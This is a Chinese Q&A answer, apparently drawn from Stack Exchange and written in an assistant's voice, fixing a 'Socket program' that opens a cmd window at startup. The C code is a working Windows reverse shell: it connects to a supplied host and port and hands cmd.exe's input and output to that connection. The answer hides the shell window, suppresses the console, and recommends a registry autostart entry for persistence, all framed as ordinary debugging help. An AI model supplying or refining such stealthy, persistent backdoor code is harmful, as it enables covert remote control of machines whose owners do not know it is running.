Windows Socket程序隐藏控制台并保持连接的实现求助
解决Socket程序启动时弹出cmd.exe窗口的问题
我明白你遇到的困扰——你的Socket程序功能正常,但开机启动时总是弹出cmd窗口,哪怕编译成Win32 GUI程序也没解决。问题的核心其实不在你的程序本身的控制台,而是你代码里调用CreateProcess启动的cmd.exe窗口。下面给你具体的修复方案:
1. 隐藏cmd.exe的启动窗口
你当前的代码只是把cmd的标准句柄绑定到Socket,但没有设置隐藏它的窗口。需要修改STARTUPINFO的配置,并给CreateProcess加上隐藏窗口的标志:
修改RunSocket函数里的相关代码:
void RunSocket(char *a, char *b) { WSADATA wsaData; SOCKET Winsock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); struct hostent *host; host = gethostbyname(a); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(b)); hax.sin_addr.s_addr =inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); // 同时启用标准句柄和窗口显示设置 ini_processo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; ini_processo.wShowWindow = SW_HIDE; // 隐藏cmd窗口 // 加上CREATE_NO_WINDOW标志,确保不弹出控制台 CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info); }
2. 确保程序本身以GUI模式编译
虽然你说已经编译成Win32 GUI,但再确认一下编译选项:
- 如果用Visual Studio,在项目属性里找到链接器 -> 系统 -> 子系统,选择
Windows (/SUBSYSTEM:WINDOWS),而不是Console (/SUBSYSTEM:CONSOLE)。 - 如果用GCC编译,加上
-mwindows参数,这样程序启动时不会创建自己的控制台窗口。
3. 检查注册表启动项
确保你添加到注册表的启动命令是直接调用script.exe 192.168.1.1 9880,不要用cmd /c script.exe ...这种形式——后者会额外启动一个cmd进程来执行你的程序,也可能导致弹窗。
这样修改后,你的Socket连接功能会保持正常,同时无论是程序本身还是启动的cmd.exe都不会弹出窗口了。
内容的提问来源于stack exchange,提问作者Brian Jarcus




